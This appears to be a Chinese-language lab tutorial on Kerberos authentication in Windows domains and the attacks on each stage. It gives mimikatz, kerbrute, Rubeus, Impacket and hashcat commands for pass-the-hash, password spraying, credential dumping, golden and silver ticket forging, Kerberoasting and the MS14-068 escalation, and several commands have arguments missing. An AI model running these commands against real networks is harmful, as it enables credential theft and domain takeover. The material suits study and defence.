毅种循环

环境#

目前环境有两台机器，
其一为 Windows2008，IP 为 192.168.1.3 是域 redream 的成员。
..........................................
‍
其二为 Windows2016，为域控制器。IP 为 192.168.1.2

‍

‍

kerberos 协议#

Kerberos 协议是一种计算机网络授权协议，用来在非安全网络中，对个人通信以安全的手段进行身份认证。其设计目标是通过密钥系统为客户机与服务器应用程序提供强大的认证服务。该协议的认证过程的实现不依赖于主机操作系统的认证，无需基于主机地址的信任，不要求网络上所有主机的物理安全，并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下， Kerberos 作为一种可信任的第三方认证服务，是通过传统的密码技术（如：共享密钥）执行认证服务的。Kerberos 协议在在内网域渗透领域中至关重要，白银票据、黄金票据、攻击域控等都离不开 Kerberos 协议。
为了让阁下能够更轻松地理解后文对认证原理的讲解，你需要先了解以下几个关键角色：

‍

kerberos 概念名词解释#

‍
(1) Client: 访问服务的客户机 (2) Server: 提供服务的服务器 (3) KDC (Key Distribution Center): 密钥分发中心 (4) KDC 中分成两个部分 Service 和 Ticket Granting Service Authentication Service (AS): 身份验证服务 Ticket Granting Service (TGS): 票据授予服务 AS 和 TGS 如下： Authentication Service：AS 的作用就是验证 Client 端的身份，验证通过之后，AS 就会给 TGT 票据 (Ticket Granting Ticket) 给 Client. Ticket-granting cookie (TGC): 存放用户身份认证凭证的 cookie，在浏览器和 CAS Server 间通讯时使用，是 CAS Server 用来明确用户身份的凭证。TGT 封装了 TGC 值以及此 Cookie 值对应的用户信息. Ticket-granting ticket (TGT)对象的 ID 就是 TGC 的值，在服务器端，通过 TGC 查询 TGT. Ticket Granting Service (TGS)：TGS 的作用是通过 AS 发送给 Client 的 TGT 换取访问 Server 端的 ST (Server Ticket) 给 Client. SEerver Ticket (ST)服务票据，由 TGS 服务发布. (5) Active Directory (AD): 活动目录 (6) Domain Controller (DC): 域控制器 (7) Ticket-granting cookie (TGC): 存放用户身份认证凭证的 cookie，在浏览器和 CAS Server 间通讯时使用，是 CAS Server 用来明确用户身份的凭证。TGT 封装了 TGC 值以及此 Cookie 值对应的用户信息. (8) Ticket-granting ticket (TGT)对象的 ID 就是 TGC 的值，在服务器端，通过 TGC 查询 TGT.
打个比方：当 whoami 要和 bunny 进行通信的时候，whoami 就需要向 bunny 证明自己是 whoami，直接的方式就是 whoami 用二人之间的秘密做秘钥加密明文文字生成密文，把密文和明文文字一块发送给 bunny，bunny 再用秘密解密得到明文，把明文和明文文字进行对比，若一致，则证明对方是 whoami。
但是网络中，密文和文字很有可能被窃取，并且只要时间足够，总能破解得到秘钥。所以不能使用这种长期有效的秘钥，要改为短期的临时秘钥。那么这个临时秘钥就需要一个第三方可信任的机构来提供，即 KDC（Key Distribution Center）秘钥分发中心。
Kerberos 认证的过程形象地比喻如下：
疫情期间，小明去拿一个重要包裹，由于包裹是来自海外的，所以需要严格登记： （1）拿包裹的时候，为了证明自己是合法公民，小明先把身份证给工作人员 （2）快递点的身份认证系统通过身份认证后，给小明一张身份认证通过证明 （3）小明拿着身份认证通过证明，来到快递收发处等一张拿快递的号码牌 （4）售票处给了张号码牌 （5）小明拿着号码牌拿快递去了 （6）在拿快递时，小明拿出自己的身份认证材料给快递点的工作人员，工作人员向快递公司的数据管理中心发了消息，问问小明是不是有包裹要拿 （7）数据管理中心将小明的快递单号，身份信息等发了过来 （8）工作人员将数据管理中心发来的信息与小明给的材料对比，得出小明是好公民，有一个重要包裹，于是带着小明来到仓库的金库，把装有老魔杖的包裹给了小明
在 Kerboeros 协议认证过程中，会用到两个基础认证模块，分别是 AS_REQ&AS_REP 和 TGS_REQ&TGS_REP，以及在认证过程中可能会使用到的 S4U 和 PAC 这两个认证模块。

kerberos 认证的问题#

上面说了，因为 kerberos 协议的实现，需要三方的参与，分别如下：
‍
1.client 访问服务的客户机 2.Server 提供服务的服务器 3.KDC (Key Distribution Center) 密钥分发中心 KDC 服务会默认安装在一个域的域控中，所以可以直接理解为，AD 与 KDC 均为域控制器，KDC 服务框架中包含一个 KRBTGT 账户，它是在创建域时系统自动创建的一个账号。
‍

kerberos 认证协议原理流程#

Kerberos 认证过程如下图所示

‍
下面讲一下详细的认证步骤，大概分为三个阶段：

- AS_REQ & AS_REP
- TGS_REQ & TGS_REP
- AP-REQ & AP-REP

‍
其中：KDC 中有 AS 认证服务与 TGS 认证服务

1. CLient 向 KDC 的 AS 认证服务请求 TGT 票据，此处是 AS_REQ 流程
2. 认证通过后返回 TGT 给 Client，Client 得到 KDC 发放的 TGT（Ticket Granting Ticket）票据。此处是 AS_REP 流程
3. Client 继续拿着 TGT 票据 请求 DC 访问 Server，TGS 通过 Client 消息中的 TGT 票据请求 ST 的服务票据（Service Ticket）。此处是 TGS_REQ 流程
4. Client 通过了 TGS 认证服务后，TGS 将会发放 ST 服务票据给 Client。此处是 TGS_REP 流程。
5. Client 得到 ST 票据 后，再去向 Server 请求服务。此处是 AP-REQ 流程。
6. server 拿到 PAC 询问 KDC，client 是否有权限访问资源
7. KDC 将 clinet 的权限信息发送给 server
8. server 根据 KDC 返回的权限信息做对比，判断 client 是否有权限访问该服务，并把结果返回给 client。此处是 AP_REP 流程。

注：（6）（7）两步不一定发生，需要将目标主机配置为验证 KDC PAC 验证。

‍
域中每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来计算生成的，因此只要我们拿到了 krbtgt 的密码 Hash, 就可以随意伪造 Ticket, 进而使用 Ticket 登陆域控制器，使用 krbtgt 用户 hash 生成的票据被称为 Golden Ticket, 此类攻击方法被称为票据传递攻击。
‍

AS_REQ & AS_REP 分析#

‍
分析 AS-REQ 的数据包
AS-REQ：当某个域用户试图访问域中的某个服务，于是输入用户名和密码，本机 Kerberos 服务会向 KDC 的 AS 认证服务发送一个 AS-REQ 认证请求。该请求包中包含：请求用户名，客户端主机名，加密类型和 Autherticator (用户 NTLM Hash 加密的时间戳) 以及一些信息。
Client 向 KDC 发起 AS_REQ 请求凭据是用户 hash 加密的时间戳。请求凭据放在 PA_DATA 里面。
我们这里直接抓包来看，让域内机器 user1 使用用户 test 来登录。
‍

1.AS-REQ#

‍
AS 获取用户名之后，获取对应的 ntlm 值，通过加密的方法加密数据信息，并且验证时间戳，之后生成随机字符串 Session Key，使用用户的 ntlm 值加密 Session Key，使用 krbtgt 用户的 ntlm 加密 Session Key 和客户端信息，一起返回客户端
Send=user_NTML_Hash(Session Key)+krbtgt_NTML_Hash(Session Key+client_info1)[TGT]
AS-REQ 存在俩种包
一种是不存在 pA-ENC-TIMESTAMP 字段的，另外一种是前面存在密码字段的

‍

2.AS-REQ 不同的包#

‍

用户名和密码正确的包#

AS-REP：Client 发送 AS_REQ，请求凭据是用户 hash 加密的时间戳。请求凭据放在 PA_DATA 里面。 当 KDC 中的 AS 认证服务收到后，在 AS 服务器中有用户 hash，使用用户 hash 进行解密，获得时间戳 ，如果 解密成功，并且时间戳在五分钟之内 ，那么 预认证通过 。接着 AS 认证服务将会向 Client 发送响应包，响应包中包括krbtgt 用户的 NTML hash 加密后的 TGT 票据以及用户 NTML Hash 加密的 Login Session key 和其他信息。
ticket 中的 enc-part 是由 krbtgt 的密码 hash 加密生成的。如果我们拥有 krbtgt 的 hash，便可以自制 ticket，发起黄金票据攻击 Login Session Key 使用用户 NTML Hash 加密，作用是用于是用于确保客户端和 KDC 下一阶段之间通信安全，作为下一阶段的认证密钥
‍
在这一阶段，Client 与 KDC 之间的交互在于 AS 认证服务，主要是为了获得 TGT 认证票据，以及 Login Session Key，经过该阶段后，Client 将会使用自身密码的 NTML hash 解密 Login Session Key 得到原始的 Login Session Key。然后它会在本地缓存 TGT 票据和原始 Login Session Key。
‍

用户名不正确的包#

‍

用户名正确的包#

‍
‍

密码不正确的包#

‍

AS-REQ 流程的的攻击面#

通过上面的抓包分析可以得出：
1.HASH 传递
2. 域内用户枚举
3. 密码喷洒

HASH 传递攻击方法#

在 AS-REQ 阶段，是用用户密码 Hash 加密的 Authenticator，所以也就造成了 hash 传递。

mimikatz 进行 hash 传递

这里 mimikatz 获取 hash 导出到 log 日志中，命令如下
mimikatz log privilege::debug sekurlsa::ekeys
‍

‍
抓取 administrator 的 ntlm 哈希
‍
privilege::debug sekurlsa::logonpasswords
‍

‍

执行传递

‍
sekurlsa::pth /user /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c

‍

KB2871997 补丁的传递方法

安装 KB2871997 这个补丁之后，只能用管理员账户进行 pass hash

PTK（pass the key）

获取 aes-key:
privilege::debug sekurlsa::ekeys

注入 aes-key:
sekurlsa::pth /user /domain.com /aes256

‍
‍

域内用户枚举#

AS-REQ 的 cname 值，当用户不存在时，返回包提示错误，所以造成了改攻击方式。

攻击方法

使用 kerbrute 工具：
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe
前提需要 DC 需要开启 kerberos 88 端口

使用以下命令
kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt
user.txt 是用户名的字典

成功爆出用户名。

原理：

使用 kerbrute 进行错误枚举的原理就是 kerberos 有三种错误代码：
KDC_ERR_PREAUTH_REQUIRED - 需要额外的预认证（启用）
KDC_ERR_CLIENT_REVOKED - 客户端凭证已被吊销（禁用）
KDC_ERR_C_PRINCIPAL_UNKNOWN - 在 Kerberos 数据库中找不到客户端（不存在）
在 DC 抓包可以看到有 4 个 UNKNOWN，1 个 REQUIRED，证明有这个用户名存在

‍
‍

密码喷洒#

并且当用户名存在，密码正确和错误时，返回包也不一样，所以可以进行用户名密码爆破。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定，因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试，才能增加破解的概率，消除帐户被锁定的概率
使用以下命令
kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..

‍

原理：#

密码同样存在三种错误代码
KDC_ERR_PREAUTH_REQUIRED - 需要额外的预认证（启用）
KDC_ERR_CLIENT_REVOKED - 客户端凭证已被吊销（禁用）
KDC_ERR_C_PRINCIPAL_UNKNOWN - 在 Kerberos 数据库中找不到客户端（不存在）
同样在 DC 抓包，有 4 个 UNKNOWN，1 个 REQUIRED


‍
‍
‍

AS-REP 数据包#

AS-REP：Client 发送 AS_REQ，请求凭据是用户 hash 加密的时间戳。请求凭据放在 PA_DATA 里面。 当 KDC 中的 AS 认证服务收到后，在 AS 服务器中有用户 hash，使用用户 hash 进行解密，获得时间戳 ，如果 解密成功，并且时间戳在五分钟之内 ，那么 预认证通过 。接着 AS 认证服务将会向 Client 发送响应包，响应包中包括krbtgt 用户的 NTML hash 加密后的 TGT 票据以及 用户 NTML Hash 加密的 Login Session key 和其他信息 。

ticket 中的 enc-part 是由 krbtgt 的密码 hash 加密生成的。如果我们拥有 krbtgt 的 hash，便可以自制 ticket，发起黄金票据攻击
Login Session Key 使用用户 NTML Hash 加密，作用是用于是用于确保客户端和 KDC 下一阶段之间通信安全，作为下一阶段的认证密钥
在 enc-part 里面最重要的字段是 Login session key，作为下阶段的认证密钥。
AS-REP 中最核心的东西就是 Login session-key 和 加密的 ticket。正常我们用工具生成的凭据是 .ccache 和 .kirbi 后缀的，用 mimikatz，kekeo，rubeus 生成的凭据是以 .kirbi 后缀的，impacket 生成的凭据的后缀是 .ccache 。两种票据主要包含的都是 Login session-key 和 加密的 ticket，因此可以相互转化。
‍

AS-REP 的攻击面#

黄金票据#

在 AS-REP 阶段，由于返回的 TGT 认购权证是由 krbtgt 用户的密码 Hash 加密的，因此如果我们拥有 krbtgt 的 hash 就可以自己制作一个 TGT 认购权证，这就造成了黄金票据攻击
伪造黄金票据的条件：
我们伪造凭证，需要以下信息：

- 域名
- 域的 SID 值
- 域的 KRBTGT 账号的 HASH
- 伪造的域管理员用户名

‍

黄金票据攻击实践#

收集域信息

netconfig workstation

‍
可以获得域是 redtem.com，用户名是 YG1。
获得域控的 IP 也很简单，ping 一下即可，或者
nltest/dsgetdc: 域名
nltest/dsgetdc.com

获取到域控 IP 为 192.168.1.2

导出 HASH

privilege::debug lsadump::dcsync /domain.com /all /csv
用管理权限使用 mimikatz.exe 导出用户的 krbtgt 的 hash

fb2227f9e9e6c9ad490eb1c2fa6a8625

收集 Krbtgt 的 SID 信息

lsadump::dcsync /domain.com /user 或者 wmic useraccount get name,sid

S-1-5-21-767623950-3225260823-3670188588
fb2227f9e9e6c9ad490ebic2fa6a8625
获取到 SID 和 HASH 之后就可以伪造票据了，伪造之前先看一下有没有缓存票据
klist / 查看票据

klist purge / 清除票据 或者 mimitakzt kerberos::purge

‍
‍

利用 mimikatz 生成黄金票据

mimikatz.exe "kerberos::golden /user /domain.com /sid /krbtgt /ticket.kirbi" exit /admin：伪造的用户名（任意） /domain：域名称 /sid：sid 值，注意要去掉最后一个值 - 后面的值 /krbtgt：krbtgt 的 hash 值 /ticket：生成的票据名称
或者
kerberos::golden /user /domain.com /sid /krbtgt /ptt #生成票据并导入

‍
有了票据之后，拿一个域用户来测试一下票据能否正常使用。
‍

查看导入的票据

kerberos::purge kerberos::ptt ticket.kirbi

‍

查询 DC 机器 C 盘目录

dir \dc.redteam.com\c$ dir \ 计算机名。域名 \c$

‍
DC 火绒拦截了 IPC，所以没访问成功，关掉后正常，至此，黄金票据利用成功。
‍

TGS_REQ&TGS_REP 分析#

Client 与 TGS 之间认证使用 TGS_REQ&TGS_REP 模块
‍
‍
Client 在拿到 TGT 和 Login Session Key 之后，下一步的认证交互在于 KDC 中的 TGS 认证服务 ，主要目的是为了获取 ST 服务票据 ，因为当 Client 需要访问某服务器中的某服务时，需要 "门票" --ST 服务票据
这一阶段，微软引进了两个扩展 S4U2SELF 和 S4U2PROXY。

TGS-REQ 数据包分析#

该数据包中的主要内容为：客户端信息，Authenticator (Login Session Key 加密的时间戳)、TGT 认证权证 (padata 下 ap-req 下的 ticket) 以及访问的服务名等。

padata 部分：

在 padata 中有很重要的一部分叫做 AP-REQ，这是 TGS-REQ 中必须有的数据， 这部分会携带 AS-REP 里面获取到的 TGT 票据 ， KDC 检验 TGT 票据，如果票据正确，返回 ST 票据 。

‍

TGS-REQ 请求包中的 authenticator 就是 AS-REP 响应包返回的 Login Session key 加密的时间戳
在 req-body 中

padding:0 kdc-options: 用于与 KDC 约定一些选项设置 realm: 域名 sname: 这里是要请求的服务 till: 到期时间 rebeus 和 kekeo 都是 20370913024805Z，可用于作为特征值检验用 nonce: 随机生成数 kekeo/mimikatz 的 nonce 为 12381973，rubeus 的 nonce 为 1818848256, 可用于作为特征值检验 用 etype: 加密类型

TGS-REP 数据包分析#

TGS-REP：当 TGS 收到请求后，将会检查自身是否存在客户端所请求的服务，如果服务存在， 通过 krbtgt 用户的 NTML hash 解密 TGT 并且得到 Login Session Key ，通过 Login Session Key 解密 Authenticator 。

‍
这一系列解密成功的话，将会验证对方的身份，验证时间戳是否在范围内，并且检查 TG 中的时间戳是否过期，且原始地址是否和 TGT 中保存的地址相同
完成认证后，TGS 生成ST 票据（包括客户端信息和原始 Server Session key，整个 ST 服务票据使用该服务的 NTML hash 加密以及一个 AS-REP 返回的 Login-Session-Key 加密的 Server Session Key （也就是最外层 enc-part 部分)。并且会为该客户端生成 ST 服务票据。这两个将在响应包中发送给 Client。

ST 服务票据主要包含两方面的内容：客户端用户信息 和 原始 Service Session Key，整个 ST 服务票据用该服务的 NTLM Hash 进行加密。最终 Service Session Key 和 ST 服务票据 发送给客户端。
PS: 在这一步中，不论用户是否有权限访问服务，只要 TGT 解密无误，都将返回 ST 服务票据。任何一个用户，只要 hash 正确，就可以请求域内任何一个服务的票据，这也是 kerberoasting 能利用的原因。
enc-part：这部分是用请求服务的密码 Hash 加密的。因此如果我们拥有服务的密码 Hash，那么我们就可以自己制作一个 ST 服务票据，这就造成了白银票据攻击。也正因为该票据是用请求服务的密码 Hash 加密的，所以当我们得到了 ST 服务票据，可以尝试爆破 enc_part，来得到服务的密码 Hash。这也就造成了 kerberoast 攻击。

TGS-REP 的攻击面#

1.Kerberoast 攻击

概念：就是攻击者为了获取目标服务的访问权限，而设法破解 Kerberos 服务票据并重写它们的过程。这是红队当中非常常见的一种攻击手法，因为它不需要与服务目标服务进行任何交互，并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据，以获取到最终的明文密码。之所以出现这种情况，是因为服务票据使用服务帐户的散列（NTLM）进行加密，所以任何域用户都可以从服务转储散列，而无需将 shell 引入运行该服务的系统中。
‍
攻击者通常会选择那些可能设置了弱密，码破解成功率较高的票据来尝试破解。一旦攻击者成功破解出了票据，他们有时不仅仅获取的只是服务访问权限，如果服务被配置为在高权限下运行，那么整个域都将可能被攻击者拿下。这些票据可以通过考虑多种因素来识别，例如：
SPNs 绑定到域用户账户
最后一次密码设置（Password last set）
密码过期时间
最后一次登录（Last logon）
具体来说，Kerberoast 攻击涉及以下五个步骤：
服务主体名称（SPN）发现
请求服务票据
导出服务票据
破解服务票据
重写服务票据 & RAM 注入
‍
原理：

- 知道相关服务的 SPN 后，可以用 SPN 申请一张 ST 票据。在 kerberos 协议的第 4 步，用户会收到由 server 实例的 NTLM hash 加密生成的 ST 票据，加密算法为 RC4-HMAC-MD5，尝试穷举 hash，模拟加密过程，进行破解（注意和银票的区别）。
- 任何域用户都可以合法的从 AD 中提取服务账号凭据，不需要与服务目标服务进行任何交互，大多数操作都是离线完成，不会触发告警。
- 服务账号密码未设置过期时间，或者与域普通用户密码相同以及账号权限过高等都是问题。
- 域内具有 Read servicePrincipalName 和 Write serverPrincipalName 的域用户具有注册 SPN 的权利。

流程：

1. 找到有价值的 SPN（需要满足的条件：该 SPN 注册在域用户帐户下并且域用户账户的权限较高）
2. 请求 TGS
3. 导出 ST
4. 暴力破解
5. 服务票据重写
6. 权限维持

前面没有了解到 SPN，所以先了解一下 SPN 之后再回头来做实践。

SPN#

概念：
SPN，全名为：Service Principal Names，即 “服务主体名称”。它是域中服务的唯一标识，每个 Kerberos 服务都必须要有一个 SPN，服务在加入域时，会自动注册一个 SPN。 如果未进行 SPN 注册或注册失败（名称不唯一），则 Windows 安全层无法确定与 SPN 关联的帐户，因而无法使用 Kerberos 身份验证。
格式：
SPN 的格式为：/:/，其中 service class 和 host 为必需参数。

- service class 为服务类型名称，你可以使用除 “/” 之外的任何名称（因为 SPN 使用它作为分隔符），只需要保证它是唯一的名称，但是一般建议使用通用名称，如 “www”，“ldap” 等
- host 为运行服务的主机名，可以使用 DNS 名（如：os.hacker.com）或 NetBIOS 名（如：os），但要注意的是因为 NetBIOS 名可能会在林中不唯一，会导致 SPN 注册失败。
- host 为可选参数，同一服务在同一 host 上运行时，使用此来加以区别。服务仅使用默认端口时（如 80），可以省略。
- service name 为服务实例名称，不太重要，微软有个这样的例子/host1/CN=hrdb,OU=mktg,DC=example,DC=com

一个 SPN 命名实例：MySQLSvc/os.hacker.com:3306 或 MySQLSvc/hacker 等。
分类：

- 当一个服务的权限为 Local System 或 Network Service，则 SPN 会自动注册在机器帐户下。
- 当一个服务的权限为一个域用户，则 SPN 需要手动注册在域用户帐户下。

验证：
在 Kerberos 验证第 3 步中，client 向 TGS 发送 TGT 的同时，发送需要访问服务的 SPN；在第 4 步，TGS 会查询对应 SPN 的服务记录，找到服务后开始验证 TGT，最后 TGS 生成对应 SPN 服务的 ST 票据。
‍

查询 SPN#

对域控制器发起 LDAP 查询，这是正常 kerberos 票据行为的一部分，因此查询 SPN 的操作很难被检测。

使用 SetSPN#

Win7 和 Windows Server2008 自带的工具
查看当前域内的所有 SPN：
‍
setspn.exe -q /

查看 redteam.com 域内的所有 SPN：
setspn.exe -T redteam.com -q /

‍

实现 Kerberoasting 攻击的前提#

- 对于 kerberos 协议认证过程中返回的 tgs_reply，在已知加密算法的前提下，我们可以尝试穷举口令。( 服务密码一般默认为弱密码 )
- Windows 系统通过 SPN 查询获得服务和服务实例帐户的对应关系
- 域内的主机都能查询 SPN。
- 域内的任何用户都可以向域内的任何服务请求 TGS。

‍

申请 ST 票据#

前面提到过寻找有价值的 SPN 服务，那么什么是有价值的呢
可以远程连接，高权限 ，因为计算机域帐户不可以远程连接，所以我们目标一般都是域用户。
使用 Rubeus 工具
https://github.com/GhostPack/Rubeus
这是一个专门针对 Kerberos 的工具包。
#依赖.net 环境 Rubeus.exe kerberoast

将哈希保存为 hash.txt 文件，放到 hashcat 的目录下。使用命令
‍
hashcat64.exe -m 13100 hash.txt pass.txt

使用 Powershell 命令请求

使用微软提供的类 KerberosRequestorSecurityToken 发起 Kerberos 请求，申请指定 SPN 的 ST 票据。Kerberos 协议中请求的票据会保存在内存中，可以通过 klist 命令查看当前会话存储的 kerberos 票据
#请求服务票据 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN 名" #New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/WIN-7.bean.testlab:1433" #列出服务票据 klist

使用 mimikatz 请求

申请指定 SPN 的 ST 票据
#请求服务票据 kerberos::ask /target/WIN-7.bean.testlab:1433 #列出服务票据 kerberos::list #清除所有票据 kerberos::purge

使用 Impacket 中的 GetUserSPNs 请求

需要提供域账户密码才能使用，该脚本会直接输出 hashcat 格式的服务票据，可以直接使用 hashcat 进行爆破
#GetUserSPNs.exe -request -dc-ip x.x.x.x 域名称 / 域用户：密碼 GetUserSPNs.exe -request -dc-ip 172.16.1.1 bean.testlab/test > r.txt

导出服务票据#

查看票据列表可用一些命令：
#cmd klist #mimikatz mimikatz.exe "kerberos::list" #MSF load kiwi kerberos_ticket_list 或 load kiwi kiwi_cmd kerberos::lists
导出：
#mimikatz 导出后缀为.kirbi mimikatz.exe "kerberos::list /export" "exit" #Empire 下的 Invoke-Kerberos.ps1 powershell.exe -exec bypass -Command "& {Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat}"

暴力破解#

tgsrepcrack.py
kerberoast 工具包中的 tgsrepcrack.py，可直接对 mimikatz 导出.kirbi 文件进行破解
python tgsrepcrack.py pass.txt xx.kirbi

‍
tgscrack
下载地址：tgscrack
python2 extractServiceTicketParts.py xxx.kirbi > hash.txt go run tgscrack.go -hashfile hash.txt -wordlist pass.txt

‍
hashcat
前面好几种导出 hash 的方式，都可以使用 hashcat 来爆破
hashcat.exe -m 13100 hash.txt pass.txt

Image

服务票据重写 & RAM 注入

ST 票据使用服务密码的 NTLM 哈希签名。如果票据散列已被破解，那么可以使用 Kerberoast python 脚本重写票据。这将允许在服务被访问时模拟任何域用户或伪造账户。此外，提权也是可能的，因为用户可以被添加到诸如域管理员的高权限组中。
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
使用以下 Mimikatz 命令将新票据重新注入内存，以便通过 Kerberos 协议对目标服务执行身份验证。
kerberos::ptt PENTESTLAB.kirbi

参考

域渗透 - SPN
‍

白银票据#

在 TGS-REP 阶段，TGS_REP 里面的 ticket 的 enc-part 是使用服务的 hash 进行加密的，如果我们拥有服务的 hash，就可以给我们自己签发任意用户的 TGS 票据，这个票据也被称为白银票据。相较于黄金票据，白银票据使用要访问服务的 hash，而不是 krbtgt 的 hash，由于生成的是 TGS 票据，不需要跟域控打交道，所以可以绕过域控制器，很少留下日志。而黄金票据在利用过程中由 KDC 颁发 TGT，并且在生成伪造的 TGT 得 20 分钟内，TGS 不会对该 TGT 的真伪进行效验。如果说黄金票据是伪造的 TGT, 那么白银票据就是伪造的 ST，所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST, 且不会经过 KDC, 但是白银票票据只能访问特定服务。但是要注意的一点是，伪造的白银票据没有带有有效 KDC 签名的 PAC。如果将目标主机配置为验证 KDC PAC 签名，则银票将不起作用。

白银票据的特点#

1. 白银票据是一个有效的票据授予服务（TGS）Kerberos 票据，因为 Kerberos 验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。
2. 黄金票据是伪造 TGT 并且有效的获得任何 Kerberos 服务，而白银票据是伪造 TGS。这意味着白银票据仅限于特定服务器上的任何服务。
3. 大多数服务不验证 PAC（通过将 PAC 校验和发送到域控制器进行 PAC 验证），因此使用服务帐户密码哈希生成的有效 TGS 可以完全伪造 PAC
4. 攻击者需要服务帐户密码哈希值
5.TGS 是伪造的，所以没有和 TGT 通信，意味着 DC 从验证过。
6. 任何事件日志都在目标服务器上。

白银票据和黄金票据区别

- 获取的权限不同
金票：伪造的 TGT，可以获取任意 Kerberos 的访问权限
银票：伪造的 ST，只能访问指定的服务，如 CIFS
- 认证流程不同
金票：同 KDC 交互，但不同 AS 交互
银票：不同 KDC 交互，直接访问 Server
- 加密方式不同
金票：由 krbtgt NTLM Hash 加密
银票：由服务账号 NTLM Hash 加密

白银票据实践

我们伪造凭证，需要以下信息

- 要伪造的域用户 (任意用户或者不存在的用户，这里我们一般填写域管理员账户)
- 域名
- 域的 SID 值 (就是域成员 SID 值去掉最后的一节)
- 目标服务的 FQDN（FQDN：全限定域名，同时带有主机名和域名的名称。如：dc.bean.testlab）
- 可利用的服务
- 域服务账户 NTLM 哈希
- 只有 KDC 能制作和查看 PAC。

白银票据的服务列表#

服务名称 同时需要的服务 WMI HOST、RPCSS PowerShell Remoting HOST、HTTP WinRM HOST、HTTP Scheduled Tasks HOST Windows File Share CIFS LDAP LDAP Windows Remote Server RPCSS、LDAP、CIFS
除上述外目标机器不能开启 PAC（特权属性证书）验证，PAC 用于客户端和服务端交互阶段用于鉴权，带有签名，如果没有 krbtgt 的 hash 以及服务的 hash 就没办法伪造有效的签名。（MS14-068 可绕过）
#域控下执行 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt #也可使用 dcsync 在其他机器的域管账户下执行，用户填域控的机器名 mimikatz.exe "privilege::debug" "lsadump::dcsync /domain.testlab /user$" "exit" > 1.txt

e49051446e697bb3f91bac430da93c3e
S-1-5-21-767623950-3225260823-3670188588

伪造 CIFS#

伪造 CIFS 权限，CIFS 常用于主机之间的文件共享
#mimikatz.exe "kerberos::golden /domain: 域名 /sid: 域 SID /target: 目标的 FQDN /service: 服务类型 /rc4 /user: 伪造的用户名 /ptt" mimikatz.exe ”kerberos::golden /domain.com /sid /target.redteam.com /service /rc4 /user /ptt“ * /domain：域名 * /sid ；sid 值 * /target：域控制器全称 * /service：需要指定相关的服务名，此处为 cifs * /rc4: 域控的计算机账户 ntlm hash * /user：要伪造的用户名，任意写 dir \dc\c$

‍
访问 DC 成功。
‍
‍
‍

Kerberos 协议的各阶段攻击手法#

Image
‍

MS14-068 域提权#

一、漏洞说明
改漏洞可能允许攻击者将未经授权的域用户账户的权限，提权到域管理员的权限。 微软官方解释: https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068
二、漏洞原理
Kerberos 认证原理:https://www.cnblogs.com/huamingao/p/7267423.html 服务票据是客户端直接发送给服务器，并请求服务资源的。如果服务器没有向域控 dc 验证 pac 的话，那么客户端可以伪造域管的权限来访问服务器。
三、漏洞利用前提
1. 域控没有打 MS14-068 的补丁
2. 攻击者拿下了一台域内的普通计算机，并获得普通域用户以及密码 /hash 值，以及用户的 suid
四、工具下载
Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PSexec 下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases
‍
五、漏洞利用
如果当前用户为域用户
可以直接用 whoami /user 获取 sid

如果不是只是本地用户可以用 mimikatz 抓取本地的域用户密码
记住 mimikatz 要有管理员权限不然无法抓取内存密码，可以以管理员权限运行。

利用 ms14-068.exe 工具生成伪造的 kerberos 协议认证证书#

MS14-068.exe -u @ -p -s -d
ms-14-068.exe -u 域用户 @域控名 -p 域用户密码 -s 域用户 sid -d 域 ip

利用 mimikatz.exe 将证书写入，从而提升为域管理员
kerberos::ptc 你的证书名字
kerberos::ptc TGT_zhangsan@ggyao.com.ccache
写入成功后，成功 dir 域控 C 盘

‍

使用 psexec.exe 获取一个交互式 shell#

psexec.exe \WIN-2008-DC.ggyao.com cmd

‍
psexec 执行单条命令：
psexec.exe \WIN-2008-DC.ggyao.com cmd /c “ipconfig”

‍

方法 2：goldenPac.exe（推荐使用）#

（https://github.com/maaaaz/impacket-examples-windows）
此工具是 impacket 工具包里的，它是 MS14-068+psexec 的组合，因此使用起来非常放方便快捷。
goldenPac.exe ggyao.com/zhangsan@WIN-2008-DC.ggyao.com

‍

方法 3：kekeo.exe#

（https://github.com/gentilkiwi/kekeo/releases）
通过 kekeo.exe 获取域控权限，此工具并非每次都能成功利用。
kekeo.exe “exploit::ms14068 /domain.com /user /password /ptt” “exit”

‍

注意事项#

1. 票据伪造的机器不一定需要在域里，将 DNS 指向域控，能解析就行。
2.IPC$ 访问域控的时候需要使用主机名，不能使用 IP。
‍

漏洞原理：#

其实出现这个问题的关键点在于 PAC (特权属性证书：验证用户所拥有的权限)
先大致回顾一下 Kerberos 的认证流程

- 域用户登录，向 KDC 的 AS 服务发送自身密码加密的时间戳进行预认证；
- DC 的 AS 服务验证用户密码是否正确。若正确，返回一张 TGT 票据，该票据为 krbtgt 密码加密而成；
- 域用户凭借 TGT 票据向 KDC 的 TGS 服务申请访问某 Server 服务的票据；
- 域控的 TGS 服务验证 TGT 后，返回给域用户能够访问该 Server 服务的票据 (ST, TGS Ticket)；
- 域用户拿着 ST 访问对应的 Server 服务；
- 该 Server 服务验证 ST，决定是否允许让域用户访问。

其中，PAC 是默认包含在 TGT 中的；
